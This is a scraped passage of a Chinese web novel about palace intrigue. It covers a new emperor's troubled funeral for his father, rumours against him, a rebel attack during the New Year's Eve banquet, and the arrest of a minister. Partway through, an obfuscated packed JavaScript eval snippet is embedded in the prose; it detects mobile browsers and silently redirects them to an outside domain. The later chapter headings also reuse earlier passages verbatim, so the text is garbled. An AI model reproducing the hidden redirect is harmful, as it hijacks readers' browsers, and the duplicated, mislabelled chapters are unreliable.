当时她宫里的一个丫鬟突然溺亡,听闻那丫鬟的身世很凄惨,出于怜惜,她这才让人给对方家人送了一笔银子,没曾想,这背后竟然还有这番内情。 自己被人背后捅了一刀而不自知。 柔贵妃冷冷地看着她,“不管你信不信,那件事与我无关。” “事到如今你还敢狡辩!看我不打烂你的嘴!” 惠太妃心中的愤怒无处宣泄,扬起手就想打人。 这一次,柔贵妃没有站着挨打。 她飞快朝后退,避开了那一记耳光。 惠太妃见此,顿时大怒,“你竟然敢躲!来人,给我按住她!” 她身边的宫女立马上前就要抓人,但她们根本没能靠近柔贵妃,眼前一阵旋风刮过,竟将她们齐齐刮倒在地,惠太妃也被那股劲风刮得睁不开眼来。 还不等她们站稳脚跟,几人的膝头似被什么狠狠砸了一下,砸得哎哟一声,扑通跪了下去。 “这是怎么一回事?” “莫不是闹鬼了?” 她们的脸上都露出惊慌来。 柔贵妃和锦瑟都知道是怎么回事,这多半是暗卫在暗中所为。 柔贵妃淡淡道:“这冷宫中多的是无辜冤死的亡魂,我在这里住久了,早已经习惯,她们自然不会与我为难,你们是生面孔,那些冤魂会对你们做什么,可就说不准了。” 她的语气轻飘飘的,惠太妃听得脸色发白。 “你,你休要危言耸听!” 似是为了验证柔贵妃的话,又有一阵阴风吹过,呼呼的声音,似鬼魅哀嚎,那风刮得惠太妃眼睛都睁不开了,身形更是有些不稳。 而柔贵妃和锦瑟则半分都没受影响。 “我若是你,就会立马离开这里,不然,你可就要有来无回了。” 惠太妃嘴唇哆嗦,再不敢嘴硬,跌跌撞撞地起身跑了。 柔贵妃看着她狼狈的背影,唇角多了一丝嘲讽。 这人不仅脑子不聪明,随随便便被人糊弄,胆子也只有针眼那么大点,一阵风就把人吓跑了。 从此以后,她怕是再不敢来这里找自己麻烦了。 只是,那桩旧事,究竟是谁设计陷害? 对方在十几年前就给自己树了这么一个敌,其歹毒之心,当真令人不寒而栗。 萧宝珠回到公主府,就第一时间向陆知苒告知了德丰帝身体好转的好消息。 陆知苒闻言,也大大松了口气。 “如此就太好了。” 这个消息如同一剂强心剂,让她们心头都燃起了希望。 腊月二十,乃新帝下葬之日。 送葬队伍绵延十里,前导的十六面龙幡遮天蔽日。 新帝萧晏临捧谥宝走在灵舆前,身后八百名铁甲侍卫以刀鞘击地,沉闷的撞击声惊起寒鸦数只。 宫道两侧跪满素服百官和百姓,人人面露哀戚。 二皇子和三皇子都在头一天赶了回来,此时亦披麻戴孝,跟在送葬的队伍中。 这短短一年来,朝局发生巨变,他们都没料到,最后摘了桃子的人会是老八。 依照长幼,二皇子才是太子最佳人选,但却被八皇子捡了漏。 二皇子原本也有短暂的不平,甚至大胆地生出别的念头。 但这个念头来得快去得也快,他的才能平平无奇,既无功绩傍身,又无人拥护,母族身份更不高,光凭一个“长”字,想要获得拥护,根本不可能,反倒要把眼下大好的日子也折腾没了。 送葬的队伍威严肃穆,空气中笼着一股沉沉低压。 行至神道中段时,忽闻一声闷响——十六名抬棺的杠夫脚下同时一滑,金丝楠木的龙棺竟重重落在地上,震得棺罩上的金铃乱颤。 刹那间,天地仿佛凝滞。 萧晏临的脸色顿时变得十分难看,手中谥宝险些没拿稳。 队伍中不知是谁先发出一声惊叫,随即百官哗然。 棺椁中途落地,是为不详! 帝王入葬,更从未出现过这种变故。 礼部尚书吓得脸都白了,一时忘了该如何反应。 萧晏临的面皮狠狠抖动,“还不快抬起来,惊扰了父皇,你们担得起吗?” 十六名杠夫白着脸,赶忙重新起轿。 但不知是方才的惊吓让他们卸了力气,还是什么旁的原因,他们试了好几次,都没能顺利抬起来。 众人便眼睁睁地看着那金丝楠木的龙棺一下下地撞击地面,发出一声声沉闷的声响。 萧晏临的脸色变得越来越难看,文武百官亦是面色各异,百姓中更是发出了一声声低低的议论。 先帝不愿入土,莫不是,死得蹊跷? 这个念头一起,顿时叫人心头狂跳。 第455章 天象示警,新君失德 萧晏临冷声下令,让铁甲侍卫将那十六名杠夫换了,这才顺利将棺木抬了起来。 送葬队伍再次出发,一切都依照仪式进行着,好似什么都没有变,但经过方才的插曲,众人心头却已是各种心思。 萧晏临原本的满脸悲痛也几乎维持不下去,取而代之的是满面阴沉晦暗。 究竟是谁在捣鬼? 就算再装神弄鬼又如何?父皇已经死了,死得透透的,自己便是这大齐朝的新君,任何人妄图谋朝篡位,就是乱臣贼子! 梓宫终于抬到了皇陵,降入地宫,正欲封土,一道马蹄踏碎了皇陵的寂静。 来人赫然是睿亲王,他一身风尘,踉跄着扑向那尚未封土的玄宫。 “皇兄——” 他跪倒在梓宫前,十指死死扣住棺椁边缘,金丝楠木上顿时留下几道带血的抓痕。 他双目赤红,声音嘶哑如裂帛,“皇兄,你怎么就走了?弟弟还没有来得及看你一眼啊!” 萧晏临低垂着头,眸底一片哀痛。 “皇叔,父皇已去,请您节哀吧。” 睿亲王依旧死死抓着那棺椁不放,“去年,皇兄的身子明明还好好的,怎么短短一年,竟……” 萧晏临声音发涩,“这一年发生了太多的事情,先是各地洪涝不断,而后七皇兄又……父皇为此劳心伤神,身子这才一点点慢慢垮了。” 睿亲王闻言,面色更加悲痛。 “我想见见皇兄,我来迟了,至少要见他一面,方能安心。” 萧晏临露出迟疑,还是礼部尚书主动开了口,“陛下龙驭宾天乃天命所归,您这般……恐惊圣灵啊!” 萧晏临也道:“父皇驾崩已越旬日。虽值隆冬,然寒威难遏肌理之变,恐圣体微有迁化,若启梓宫,只怕不妥。” 睿亲王悲痛欲绝,满脸是泪,一再哀求开棺,只想看一眼,但却被众臣联合劝阻,最后不得不遗憾作罢。 随着最后一道金刚墙封锢完成,终于礼成。 以萧晏临为首的众人跪地磕头,恭送先帝最后一程。 冗长的葬礼结束,众臣都身心俱疲。 萧晏临回到宫中,脸色立马沉了下去。 今日之事只怕不知要衍生出多少流言蜚语,尤其是自己这个新君,名声定会受到诟病,萧晏临原本的好心情荡然无存。 “给朕彻查清楚,究竟是意外,还是有人在暗中捣鬼!” 心腹连忙应是。 此事的确引起了不小的波澜。 梓宫突然落地,在场那么多人都有目共睹,想压都压不住。 萧宝珠将当时情形绘声绘色地向陆知苒描绘,“你不知道,当时八皇兄的脸都黑了,在场每个人的脸色都变了。” 陆知苒眼底浮起一抹冷意。 “接下来可以开始下一步计划了。” 很快,民间就有流言传出,称“龙驭未安,圣衷有憾”,甚者妄言天象示警,新君失德。 萧晏临得知这些传言,脸色愈发阴沉,只能派人抓了几个带头传谣言之人,以起震慑之意。 如此一番镇压,明面上虽无人敢议论,但私底下依旧议论不休。 为了压住流言,萧晏临大手一挥,为百姓减免一成赋税。 这道政令果然引起轩然大波,街头巷尾之间都是对此事的议论,而梓宫落地之事,无人再提。 萧晏临这个新君也被称为明君,受百姓们交口称赞。 唯一不高兴的,大约是户部了。 赋税减免一成,来年户部收到的税银将大打折扣。 因贺连山上开挖出的那座金矿,国库原本十分充盈,但先前各地受灾,又接连出兵前往滇南,国库消耗颇多。 紧接着,又办了新帝登基和先帝葬礼这两桩大事,每一件事都是花钱如流水,眼下国库已然快见底了。 来年再减一成赋税,国库定然更加吃紧。 萧晏临决定减免赋税时,户部尚书就一再哭穷,但被萧晏临驳回了。 朝廷再缺银子,也不差这一星半点,而他很需要扭转舆论,获得好名声。 此举的确效果显著,萧晏临紧皱的眉头终于得以舒展。 萧晏临在为此事善后,二皇子和三皇子都老实地待在王府中,连半点交际都没有。 睿亲王也几乎不出门,唯一一次出门,便是去了九公主府,用了一顿饭便离开了。 一切皆如寻常那般,没有半分异常。 年关越来越近。 往年的这种时候,京中上下都年味十足,街头巷尾都热闹非凡。 但今年德丰帝新丧, 一切商业和娱乐都被禁止,京城上下冷清许多,半点年味都没有。 滇南乱军未平,萧晏临下令京城戒严,任何入城之人都要经过盘查,以防宵小趁机混入城中。 一日没收到萧晏辞的死讯,萧晏临就一日不能放松。 心腹臣子进言,“皇上不必忧心,朝廷大军已经派往滇南,瑾王乃谋逆之军,失道寡助,迟早会伏法,皇上只管等着好消息吧。” 另一臣子道:“滇南乃边陲荒蛮之地,滇南王和瑾王就算自立为王,也不过弹丸之国,不值一提,我大齐朝将士勇猛无双,定能一举将其荡平。” 其余人也都纷纷附和,对滇南府和萧晏辞口诛笔伐,萧晏临心头担忧褪去大半。 一个小小的滇南府,何足为惧? 京城已经加强戒备,若萧晏辞那贼子敢来,自己正好来个瓮中捉鳖。 转眼到了腊月二十九。 安王萧晏珩终于赶回了京城。 去了封地大半年,他的身体依旧病恹恹的,毫无起色,瞧着甚至比先前更加糟糕。 这次之所以姗姗来迟,便是因为受身体的拖累。 他第一时间入宫拜见了新帝,痛哭流涕了一场,“都是我身子无用,连父皇最后一程都没能亲自送一送。” 因为太过激动,他还捂着胸口,发出了几声痛苦的咳嗽,一张白净的脸染上充满艳色的红。 萧晏临亲自上前,将他从地上扶了起来,“五皇兄,你莫要自责,你的身体如此,并非有意延误,父皇地下有知,也定不会怪罪。” 萧晏珩顺势起身,只是依旧愧悔难当,最后提出去皇陵给德丰帝上一炷香。 这本就是应该的,萧晏临自然允了。 萧晏珩拜谢离开,并未去拜见惠太妃。 第456章 宫宴变故 翌日,便是除夕。 今岁新春正值德丰帝大行未满一月,本属热孝之期。 然新帝体恤万民,特颁恩旨:“黎庶辛劳经年,正当岁末共享天伦,百官亦循例入宫与宴。先帝仁德,若泉下有知,必不忍见百姓因守制而废佳节。” 百官对这道圣旨,褒贬不一,有人赞新帝孝思之至,仁厚之极,亦有人提出反对,认为此举乃是对先帝的不敬不孝。 赵太后也劝他收回恩旨,但萧晏临没有采纳。 这道恩旨的颁布,是他这个新帝对手中权力的第一次试探。 这其中的愉悦,只有身处其中方能体会。 这也是他对德丰帝的一种藐视和威压,他就是想告诉世人,如今,自己才是天下之主,德丰帝已然化作一抔黄土,自己不想给他体面,他便什么也不是。 反对的声音很快被新帝的拥趸压下,这道恩旨便颁发了下去。 因新帝的这道特旨,京中上下的气氛焕然一新,这才恢复喜庆热闹。 百官陆续入宫,准备参加今年的除夕宴。 萧晏临也换上了量身定制的龙袍,衮冕辉煌,威仪天表,见者莫不肃然起敬。 萧晏临的脸上露出一抹淡笑。 这段时日,他越发体会到了当皇上的妙处。 所有人都对他俯首称臣,更有生杀予夺的特权,无人胆敢违逆半分。 今日,宫中犹存素缟,但新帝恩旨,允众人以常礼庆贺新春。 除夕之夜,紫宸殿内华灯璀璨,虽减丝竹,不减天家威仪。 群臣分列阶下,觐贺之时,皆先北面叩拜先帝灵位,再转向御座行大礼,以彰继统承祧之肃穆。 御宴之上,珍馐罗列而不过奢,佳酿盈樽而不至酣,既存哀思,亦示新朝气象。 萧晏临高坐皇位之上,年轻的面庞上满是意气风发。 “今日除夕,本该是万家团圆、喜庆热闹的日子。但先帝驾崩未久,朕心中仍有哀思,想必诸位亦是如此。” “国不可一日无君,民不可终岁无欢。先帝一生勤政爱民,若见百姓因守丧而废了年节,必定不忍。” “因此,朕今日特许宫中设宴,与诸位共度除夕,既是为慰藉一年辛劳,也是盼来年君臣同心,共治天下,不负先帝所托。” 说罢,他举杯示意,目光沉稳。 “愿新岁风调雨顺,愿我朝国泰民安——这一杯,敬先帝,也敬诸位。” 群臣肃然,纷纷起身举杯,齐声应和。 渐渐的,殿内的气氛变得轻松,恢复往日喧哗热闹。 二皇子三皇子都很沉默,眼前的白酒换成了茶。 对于新帝的这番恩旨,他们没有反对的权利,只是,心中到底生了芥蒂,觉得皇上此番行事有些不妥。 他们只能身体力行,为父皇守一守孝,表一表孝心。 睿亲王亦换成了茶水。 他品着茶,目光幽幽落在龙椅之上,眼神莫名。 女眷这边,有一个身份特殊的人,赵书宁。 她依旧蒙着面,就坐在赵太后下首的位置,十分醒目。 赵太后心疼这个侄女,以往迫于形势,不能把人带在身边也就罢了,而今她成了太后,自然不用再有所顾忌。 下次,再找个合适的契机,就能将其身份公开,名正言顺地为她册封公主。 萧婉贞看着上座的赵书宁,眼底暗藏怒意,却只能忍气吞声。 殿中气氛一片大好。 谁料,这时有禁卫军匆匆来禀,神色慌张,“急报!城外三十里发现叛军踪迹,人数逾万,正朝京城逼近!” 此言一出,原本殿内的和乐气氛瞬间消散,众朝臣与女眷们齐齐变了脸色。 萧晏临的眼底那两分熏陶陶的醉意也瞬间清明,取而代之的是一股子阴鸷与狠厉。 有朝臣颤声开口,“定是滇南的叛军!” “朝廷先前不是已经加派了三万人马前去剿灭叛军吗?这支叛军怎能绕过朝廷军,直逼京城?” 众臣议论纷纷,对前线的战事也不禁发出各种猜测。 萧晏临面色阴沉,他也在想这个问题。 那三万朝廷精锐是吃素的吗?从滇南到京城这一路各处巡防也眼瞎了不成?事先竟然半点消息都没有给京中传递。 不知为何,他心中莫名升起一股不安的预感,好似事情超出了掌控。 那传讯的禁卫军高声道:“臣斗胆请旨——速调京营精锐驰援,并令周边驻军合围剿匪,以保皇城无虞!” 众朝臣立马停下了纷纷议论,跟着开口附和,“皇上,请速速派兵驰援!” “今夜除夕,正是万家团圆之日,万不可被逆贼破坏了。” 萧晏临坐在上首,听着堂下嗡嗡的议论声,只觉得耳朵一阵嗡鸣。 他强压心头纷杂思绪,沉声开口,“传朕旨意,从京营骁骑抽调八千精骑,西山大营调六千火枪手,通州驻防军出六千精锐步卒,三军合围,务求全歼叛军!若有延误,军法处置!” 萧晏临的调令传下,各方开始联动御敌,自然无人再有心思宴饮。 萧晏临正要让众人散了,不想,又有人前来通禀,“皇上,不好了,城中多处突发火情,更有多处民宅商铺遭滋扰劫掠。” “方才,刑部尚书秦大人家中便遭匪徒纵火劫掠。此伙贼人行事诡秘,来去无踪,恐非寻常盗匪——极可能是叛军细作混入城中,意图制造混乱,里应外合!” 秦中举闻言,瞬间变了脸色。 众人更是一阵哗然,人人自危,同时也开始担心自己家中是否也受了匪徒的滋扰。 萧晏临勃然大怒,“朕不是下令城门戒严吗?竟让匪徒混进城来,巡防营是怎么办事的?一个个都是吃干饭的不成?” 众臣皆静默,不敢开口。 眼下城中不太平,他们便是想回府都难了,不然,万一在路上遇到匪徒,他们只怕连命都没了。 愤怒过后,萧晏临不得不想法子解决此事。 “小小叛军,胆敢到皇城脚下作乱,简直不自量力!来人,传朕口谕,九门提督即刻起封闭内外城门,只留东华门供官军出入,百姓许进不许出!五城兵马司全员出动,实行宵禁!命御林军会同京兆尹衙役,以坊为单位逐户排查。” 第457章 让你有去无回 一番调令下去,除了宫里的禁军,全城的兵力都动了起来。 今夜参宴的众臣,也不便归家。 萧晏临命人将他们暂时安置在宫中各殿中,待明日天亮了再看情况。 萧晏临回到寝殿,狠狠砸了一套茶盏。 原本今晚上是他在几个兄长面前的高光时刻,却被那些逆贼彻底毁了。 这一晚上,众人皆心中惴惴,无人能眠。 到了后半夜,众朝臣刚刚有了一点动静,就被动静惊醒,立马派仆从去打听。 “叛军混进了宫中!禁军正在宫中搜捕。” 这个消息顿时让他们吓得腿软。 怎,怎么就混进了宫里呢? 萧晏临的脸色一片铁青。 从接到叛军压城的消息,到叛军在城中作乱,再到如今,叛军竟混进了后宫,短短一个晚上,叛军如同鬼魅一般一步步入侵,要说朝中没有内应,鬼都不信! 他想到什么,立马下令,“去冷宫,把柔贵妃抓起来。” 柔贵妃是重要人质,先把她抓住,就有了可以牵制萧晏辞的筹码。 “再给朕把朝臣所住的宫殿围起来,派人一一核验,若有可疑之人,一律拿下!” 他倒是要看看,究竟是谁敢在他的眼皮子底下耍把戏。 前去冷宫抓人的心腹带回来一个坏消息,“皇上,不好了,柔贵妃不见了!” 萧晏临眼神陡然一厉,一股怒意直冲脑顶。 他抬脚,直接就将心腹踹翻在地。 “废物,连个人都看不住,朕养你们有何用?” 心腹被踹得心口闷痛,却不敢发出半点痛呼,只能艰难地重新跪了回去。 “是小的办事不力,请皇上降罪!” “便是挖地三尺,也要给朕把人找出来!若不然,给朕提头来见!” 心腹连声应是,躬身退下。 萧晏临又在宫中砸了几套茶具泄愤。 柔贵妃的失踪证明了一件事,今夜此番接连的动静,的的确确是萧晏辞弄出来的。 他现在,说不定就藏身于宫中的某处,伺机而动。 这个念头让萧晏临悚然一惊,猛地转身朝殿内四下环视。 意识到自己的慌乱,萧晏临心中升起羞恼,整个人被一股戾气笼罩。 “萧晏辞,你敢来,朕就让你有去无回!” 另一边的搜查有了进展。 “皇上,属下有了发现,刑部尚书秦大人的随从身上藏着一枚龙纹令牌。” 禁军奉命对诸位朝臣及其随从进行搜查,搜到那名随从时,他明显神色有异,最后果然从他的身上搜出了东西。 萧晏临沉着脸接过那龙纹令牌,眸色幽深如墨。 龙纹令牌可通行内宫门禁,绝不该是一个随从该有的。 秦中举这个老东西,竟是他! “可审了?” “那人嘴巴里藏了毒囊,他见事情败露,便咬破毒囊自尽了。” 好一个畏罪**! 萧晏临将那龙纹令牌捏得咯咯作响,胸中的怒火也越发汹涌。 他抬步往文华殿而去。 宫中不太平,众人都被聚在了文华殿内,也方便搜查。 此时,文华殿内气氛十分古怪。 来无影去无踪的叛军让大家人心惶惶,而秦中举的随从身上搜出来的龙纹令牌,更让众人心头的弦绷直了。 没想到,秦大人竟与逆贼勾结。 他们之中,还有多少人包藏祸心? 那具尸体依旧摆在大殿中央,禁军们手持大刀,将秦中举围在中间,一副他要反抗,便格杀勿论的架势。 秦中举脸色苍白,大冷的天,他却出了一身的汗,后背被打湿一片。 他已经不知道解释了多少遍,自己根本不知道这是怎么一回事,但没人相信,这些禁军的刀泛着寒光,他几乎可以想象刀子刺入皮肉的痛苦。 死亡的恐惧将他深深笼罩。 众人都离他们远远的,唯恐自己一不小心被误伤。 萧晏临带着一身煞气赶来,众人齐齐下跪,秦中举跪得分外卖力。 “微臣叩见皇上,皇上,请您明鉴,微臣真的是无辜的,微臣也不知道他身上怎么会有那东西啊!” 萧晏临被叛军接二连三的动作搅乱了心神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15964185|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,眼下任何一点风吹草动,都足以挑起他那敏感的神经。 更何况,证据摆在眼前。 “不知道?秦大人,一句不知道,你就想推脱干净?” 秦中举一边磕头,一边大声喊冤,“皇上,微臣对您忠心耿耿,绝无二心,这一点您应当知道的啊!” 他这话似另有所指,却叫萧晏临的眼底更加晦暗,心头杀意更浓。 “朕只相信证据。” 有朝臣开口,“秦大人,此人若非心中有鬼,又岂会事先在嘴里藏了毒囊?” 其余臣子附和,“先前就有禁军来报,秦府被叛军劫掠。叛军为何不劫别的府上,单单劫了秦府?只怕所谓劫掠是假,秦府暗中与叛军勾结是真。” 秦中举闻言,顿时百口莫辩。 “来人,把秦大人待下去,好生审问。” 秦中举顿时脸色大变,“皇上饶命,微臣是无辜的!皇上,请您明鉴啊!” 萧晏临半分不为所动。 此人当初是萧晏清的拥趸,最后却投靠了自己。 他能背叛旧主,就也能背叛自己。 更何况,这种时候,宁可错杀,也不可放过。 众人听到秦中举那一声声哭嚎,顿时生出一种同病相怜的感觉。 下一个被牵连的,会不会是自己? 也是这一刻,众人才意识到,眼前这位新帝,并不似他们所以为的那般温和,反而透着股冷幽的杀气。 “带下去。” 他半句多余的废话都没有,声音较之方才更冷了几分。 秦中举被禁军架了起来,下身一下渗出一股骚臭。 “皇上,请您相信微臣,微臣对您真的是忠心耿耿的啊,赵书宁之事,您还不能看到微臣的忠心吗?” 他希冀地扭头看向萧晏临,但这位年轻的帝王没有回头。 秦中举感到了一股深深的绝望。 皇上这是不打算给自己留活路了!既如此,他就彻底豁出去了! 他高声大吼,“皇上,当初微臣受您指使,将死犯赵书宁从狱中救了出来,微臣早就投靠了您,绝无二心啊!” 第458章 勾结叛军者,该死! 翌日,便是除夕。 今岁新春正值德丰帝大行未满一月,本属热孝之期。 然新帝体恤万民,特颁恩旨:“黎庶辛劳经年,正当岁末共享天伦,百官亦循例入宫与宴。先帝仁德,若泉下有知,必不忍见百姓因守制而废佳节。” 百官对这道圣旨,褒贬不一,有人赞新帝孝思之至,仁厚之极,亦有人提出反对,认为此举乃是对先帝的不敬不孝。 赵太后也劝他收回恩旨,但萧晏临没有采纳。 这道恩旨的颁布,是他这个新帝对手中权力的第一次试探。 这其中的愉悦,只有身处其中方能体会。 这也是他对德丰帝的一种藐视和威压,他就是想告诉世人,如今,自己才是天下之主,德丰帝已然化作一抔黄土,自己不想给他体面,他便什么也不是。 反对的声音很快被新帝的拥趸压下,这道恩旨便颁发了下去。 因新帝的这道特旨,京中上下的气氛焕然一新,这才恢复喜庆热闹。 百官陆续入宫,准备参加今年的除夕宴。 萧晏临也换上了量身定制的龙袍,衮冕辉煌,威仪天表,见者莫不肃然起敬。 萧晏临的脸上露出一抹淡笑。 这段时日,他越发体会到了当皇上的妙处。 所有人都对他俯首称臣,更有生杀予夺的特权,无人胆敢违逆半分。 今日,宫中犹存素缟,但新帝恩旨,允众人以常礼庆贺新春。 除夕之夜,紫宸殿内华灯璀璨,虽减丝竹,不减天家威仪。 群臣分列阶下,觐贺之时,皆先北面叩拜先帝灵位,再转向御座行大礼,以彰继统承祧之肃穆。 御宴之上,珍馐罗列而不过奢,佳酿盈樽而不至酣,既存哀思,亦示新朝气象。 萧晏临高坐皇位之上,年轻的面庞上满是意气风发。 “今日除夕,本该是万家团圆、喜庆热闹的日子。但先帝驾崩未久,朕心中仍有哀思,想必诸位亦是如此。” “国不可一日无君,民不可终岁无欢。先帝一生勤政爱民,若见百姓因守丧而废了年节,必定不忍。” “因此,朕今日特许宫中设宴,与诸位共度除夕,既是为慰藉一年辛劳,也是盼来年君臣同心,共治天下,不负先帝所托。” 说罢,他举杯示意,目光沉稳。 “愿新岁风调雨顺,愿我朝国泰民安——这一杯,敬先帝,也敬诸位。” 群臣肃然,纷纷起身举杯,齐声应和。 渐渐的,殿内的气氛变得轻松,恢复往日喧哗热闹。 二皇子三皇子都很沉默,眼前的白酒换成了茶。 对于新帝的这番恩旨,他们没有反对的权利,只是,心中到底生了芥蒂,觉得皇上此番行事有些不妥。 他们只能身体力行,为父皇守一守孝,表一表孝心。 睿亲王亦换成了茶水。 他品着茶,目光幽幽落在龙椅之上,眼神莫名。 女眷这边,有一个身份特殊的人,赵书宁。 她依旧蒙着面,就坐在赵太后下首的位置,十分醒目。 赵太后心疼这个侄女,以往迫于形势,不能把人带在身边也就罢了,而今她成了太后,自然不用再有所顾忌。 下次,再找个合适的契机,就能将其身份公开,名正言顺地为她册封公主。 萧婉贞看着上座的赵书宁,眼底暗藏怒意,却只能忍气吞声。 殿中气氛一片大好。 谁料,这时有禁卫军匆匆来禀,神色慌张,“急报!城外三十里发现叛军踪迹,人数逾万,正朝京城逼近!” 此言一出,原本殿内的和乐气氛瞬间消散,众朝臣与女眷们齐齐变了脸色。 萧晏临的眼底那两分熏陶陶的醉意也瞬间清明,取而代之的是一股子阴鸷与狠厉。 有朝臣颤声开口,“定是滇南的叛军!” “朝廷先前不是已经加派了三万人马前去剿灭叛军吗?这支叛军怎能绕过朝廷军,直逼京城?” 众臣议论纷纷,对前线的战事也不禁发出各种猜测。 萧晏临面色阴沉,他也在想这个问题。 那三万朝廷精锐是吃素的吗?从滇南到京城这一路各处巡防也眼瞎了不成?事先竟然半点消息都没有给京中传递。 不知为何,他心中莫名升起一股不安的预感,好似事情超出了掌控。 那传讯的禁卫军高声道:“臣斗胆请旨——速调京营精锐驰援,并令周边驻军合围剿匪,以保皇城无虞!” 众朝臣立马停下了纷纷议论,跟着开口附和,“皇上,请速速派兵驰援!” “今夜除夕,正是万家团圆之日,万不可被逆贼破坏了。” 萧晏临坐在上首,听着堂下嗡嗡的议论声,只觉得耳朵一阵嗡鸣。 他强压心头纷杂思绪,沉声开口,“传朕旨意,从京营骁骑抽调八千精骑,西山大营调六千火枪手,通州驻防军出六千精锐步卒,三军合围,务求全歼叛军!若有延误,军法处置!” 萧晏临的调令传下,各方开始联动御敌,自然无人再有心思宴饮。 萧晏临正要让众人散了,不想,又有人前来通禀,“皇上,不好了,城中多处突发火情,更有多处民宅商铺遭滋扰劫掠。” “方才,刑部尚书秦大人家中便遭匪徒纵火劫掠。此伙贼人行事诡秘,来去无踪,恐非寻常盗匪——极可能是叛军细作混入城中,意图制造混乱,里应外合!” 秦中举闻言,瞬间变了脸色。 众人更是一阵哗然,人人自危,同时也开始担心自己家中是否也受了匪徒的滋扰。 萧晏临勃然大怒,“朕不是下令城门戒严吗?竟让匪徒混进城来,巡防营是怎么办事的?一个个都是吃干饭的不成?” 众臣皆静默,不敢开口。 眼下城中不太平,他们便是想回府都难了,不然,万一在路上遇到匪徒,他们只怕连命都没了。 愤怒过后,萧晏临不得不想法子解决此事。 “小小叛军,胆敢到皇城脚下作乱,简直不自量力!来人,传朕口谕,九门提督即刻起封闭内外城门,只留东华门供官军出入,百姓许进不许出!五城兵马司全员出动,实行宵禁!命御林军会同京兆尹衙役,以坊为单位逐户排查。” 第459章 先皇显灵 萧晏临冷声下令,让铁甲侍卫将那十六名杠夫换了,这才顺利将棺木抬了起来。 送葬队伍再次出发,一切都依照仪式进行着,好似什么都没有变,但经过方才的插曲,众人心头却已是各种心思。 萧晏临原本的满脸悲痛也几乎维持不下去,取而代之的是满面阴沉晦暗。 究竟是谁在捣鬼? 就算再装神弄鬼又如何?父皇已经死了,死得透透的,自己便是这大齐朝的新君,任何人妄图谋朝篡位,就是乱臣贼子! 梓宫终于抬到了皇陵,降入地宫,正欲封土,一道马蹄踏碎了皇陵的寂静。 来人赫然是睿亲王,他一身风尘,踉跄着扑向那尚未封土的玄宫。 “皇兄——” 他跪倒在梓宫前,十指死死扣住棺椁边缘,金丝楠木上顿时留下几道带血的抓痕。 他双目赤红,声音嘶哑如裂帛,“皇兄,你怎么就走了?弟弟还没有来得及看你一眼啊!” 萧晏临低垂着头,眸底一片哀痛。 “皇叔,父皇已去,请您节哀吧。” 睿亲王依旧死死抓着那棺椁不放,“去年,皇兄的身子明明还好好的,怎么短短一年,竟……” 萧晏临声音发涩,“这一年发生了太多的事情,先是各地洪涝不断,而后七皇兄又……父皇为此劳心伤神,身子这才一点点慢慢垮了。” 睿亲王闻言,面色更加悲痛。 “我想见见皇兄,我来迟了,至少要见他一面,方能安心。” 萧晏临露出迟疑,还是礼部尚书主动开了口,“陛下龙驭宾天乃天命所归,您这般……恐惊圣灵啊!” 萧晏临也道:“父皇驾崩已越旬日。虽值隆冬,然寒威难遏肌理之变,恐圣体微有迁化,若启梓宫,只怕不妥。” 睿亲王悲痛欲绝,满脸是泪,一再哀求开棺,只想看一眼,但却被众臣联合劝阻,最后不得不遗憾作罢。 随着最后一道金刚墙封锢完成,终于礼成。 以萧晏临为首的众人跪地磕头,恭送先帝最后一程。 冗长的葬礼结束,众臣都身心俱疲。 萧晏临回到宫中,脸色立马沉了下去。 今日之事只怕不知要衍生出多少流言蜚语,尤其是自己这个新君,名声定会受到诟病,萧晏临原本的好心情荡然无存。 “给朕彻查清楚,究竟是意外,还是有人在暗中捣鬼!” 心腹连忙应是。 此事的确引起了不小的波澜。 梓宫突然落地,在场那么多人都有目共睹,想压都压不住。 萧宝珠将当时情形绘声绘色地向陆知苒描绘,“你不知道,当时八皇兄的脸都黑了,在场每个人的脸色都变了。” 陆知苒眼底浮起一抹冷意。 “接下来可以开始下一步计划了。” 很快,民间就有流言传出,称“龙驭未安,圣衷有憾”,甚者妄言天象示警,新君失德。 萧晏临得知这些传言,脸色愈发阴沉,只能派人抓了几个带头传谣言之人,以起震慑之意。 如此一番镇压,明面上虽无人敢议论,但私底下依旧议论不休。 为了压住流言,萧晏临大手一挥,为百姓减免一成赋税。 这道政令果然引起轩然大波,街头巷尾之间都是对此事的议论,而梓宫落地之事,无人再提。 萧晏临这个新君也被称为明君,受百姓们交口称赞。 唯一不高兴的,大约是户部了。 赋税减免一成,来年户部收到的税银将大打折扣。 因贺连山上开挖出的那座金矿,国库原本十分充盈,但先前各地受灾,又接连出兵前往滇南,国库消耗颇多。 紧接着,又办了新帝登基和先帝葬礼这两桩大事,每一件事都是花钱如流水,眼下国库已然快见底了。 来年再减一成赋税,国库定然更加吃紧。 萧晏临决定减免赋税时,户部尚书就一再哭穷,但被萧晏临驳回了。 朝廷再缺银子,也不差这一星半点,而他很需要扭转舆论,获得好名声。 此举的确效果显著,萧晏临紧皱的眉头终于得以舒展。 萧晏临在为此事善后,二皇子和三皇子都老实地待在王府中,连半点交际都没有。 睿亲王也几乎不出门,唯一一次出门,便是去了九公主府,用了一顿饭便离开了。 一切皆如寻常那般,没有半分异常。 年关越来越近。 往年的这种时候,京中上下都年味十足,街头巷尾都热闹非凡。 但今年德丰帝新丧, 一切商业和娱乐都被禁止,京城上下冷清许多,半点年味都没有。 滇南乱军未平,萧晏临下令京城戒严,任何入城之人都要经过盘查,以防宵小趁机混入城中。 一日没收到萧晏辞的死讯,萧晏临就一日不能放松。 心腹臣子进言,“皇上不必忧心,朝廷大军已经派往滇南,瑾王乃谋逆之军,失道寡助,迟早会伏法,皇上只管等着好消息吧。” 另一臣子道:“滇南乃边陲荒蛮之地,滇南王和瑾王就算自立为王,也不过弹丸之国,不值一提,我大齐朝将士勇猛无双,定能一举将其荡平。” 其余人也都纷纷附和,对滇南府和萧晏辞口诛笔伐,萧晏临心头担忧褪去大半。 一个小小的滇南府,何足为惧? 